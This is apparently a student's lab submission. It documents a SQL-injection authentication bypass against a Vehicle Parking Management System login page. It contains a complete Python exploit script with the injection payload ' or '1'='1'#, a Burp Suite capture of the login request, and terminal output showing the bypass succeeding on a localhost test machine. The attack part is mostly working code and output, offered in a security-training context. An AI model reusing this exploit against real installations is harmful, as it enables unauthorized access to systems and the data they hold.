

Name : Dhaval Naik

Roll no. : B 34

SRN : 201900239

Exploit code written in python:

vpms.py

Payloads used : username=%27+or+%271%27%3D%271%27%23&password=admin&login

```
import requests, re
```

```
url = "http://localhost/vpms/index.php"
```

```
payload = "username=%27+or+%271%27%3D%271%27%23&password=admin&login="
```

```
headers = {  
    "Host" : "localhost",  
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",  
    "Accept" :  
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
    "Accept-Language" : "en-GB,en-US;q=0.9,en;q=0.8",  
    "Accept-Encoding" : "gzip, deflate",  
    "Referer" : "http://localhost/vpms/index.php",  
    "Content-Type" : "application/x-www-form-urlencoded",
```

```
"Connection": "close",
"Cookie": "PHPSESSID=l5f3gl42s38lup8nefsacglte5",
"Cache-Control" : "max-age=0",
"sec-ch-ua" : "Not A;Brand;v=99, Chromium;v=92",
"sec-ch-ua-mobile" : "?0",
"Upgrade-Insecure-Requests" : "1",
}
pattern = "dashboard"
response = requests.request("POST", url, data=payload, headers=headers) if response.history:
    for resp in response.history:
        if re.findall(pattern,resp.url):
            print("[+]Authentication bypassed succesfully!! Using the following payloads: "+ payload)
        else:
            print("[!]Something went wrong!")
```

1. Intercepting using Burp Suite to get headers

VPMS-Login Page

http://localhost/vpms/index.php

Vehicle Parking Management System

USER NAME

test123

PASSWORD

.....

Forgotten Password?

SIGN IN

Burp Suite Community Edition v4.2.1.8.2 - Temporary Project

RepeaterSequencerDecoderComparerLoggerExtenderProject optionsUser options

DashboardTargetProxyIntruder

InterceptHTTP historyWebSockets historyOptions

Request to http://localhost:80 [127.0.0.1]

ForwardDropIntercept is onActionOpen BrowserComment this itemHTTP/1

PrettyRawHex

1 POST /vpms/index.php HTTP/1.1

2 Host: localhost

3 Content-Length: 38

4 Cache-Control: max-age=0

5 sec-ch-ua: "Not A;Brand";v="99", "Chromium";v="92"

6 sec-ch-ua-mobile: ?0

7 Upgrade-Insecure-Requests: 1

8 Origin: http://localhost

9 Content-Type: application/x-www-form-urlencoded

10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-User: ?1

15 Sec-Fetch-Dest: document

16 Referer: http://localhost/vpms/index.php

17 Accept-Encoding: gzip, deflate

18 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

19 Cookie: PHPSESSID=l5f3ql42s36lup0hefsacqlte5

20 Connection: close

21

22 username=test123&password=admin&login=

0 matches

2. Authentication Successful with payload = "username=%27+or+%271%27%3D%271%27%23&password=admin&login='"

```
vpms.py (~/Desktop)
File Edit View Search Tools Documents Help
import requests, re
url = "http://localhost/vpms/index.php"

payload = "username=%27+or+%271%27%3D%271%27%23&password=admin&login='"

headers = {
    "Host" : "localhost",
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/92.0.4515.159 Safari/537.36",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
    webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Accept-Language" : "en-GB,en-US;q=0.9,en;q=0.8",
    "Accept-Encoding" : "gzip, deflate",
    "Referer" : "http://localhost/vpms/index.php",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Content-Length" : "38",
    "Connection" : "close",
    "Cookie" : "PHPSESSID=l5f3gl42s38lup8nefsacglte5",
    "Cache-Control" : "max-age=0",
    "sec-ch-ua" : "Not A;Brand;v=99, Chromium;v=92",
    "sec-ch-ua-mobile" : "?0",
    "Upgrade-Insecure-Requests" : "1",
}
pattern = "dashboard"
response = requests.request("POST", url, data=payload, headers=headers)

if response.history:
    for resp in response.history:
        if re.findall(pattern, resp.url):
            print("[+]Authentication bypassed succesfully!! Using the following
            payloads: "+ payload)
else:
    print("!!Something went wrong!")
```

```
test@test-VirtualBox ~/Desktop
File Edit View Search Terminal Help
test@test-VirtualBox ~/Desktop $ python3 vpms.py
[+]Authentication bypassed succesfully!! Using the following payloads: username=%27+
r+%271%27%3D%271%27%23&password=admin&login='
test@test-VirtualBox ~/Desktop $
```

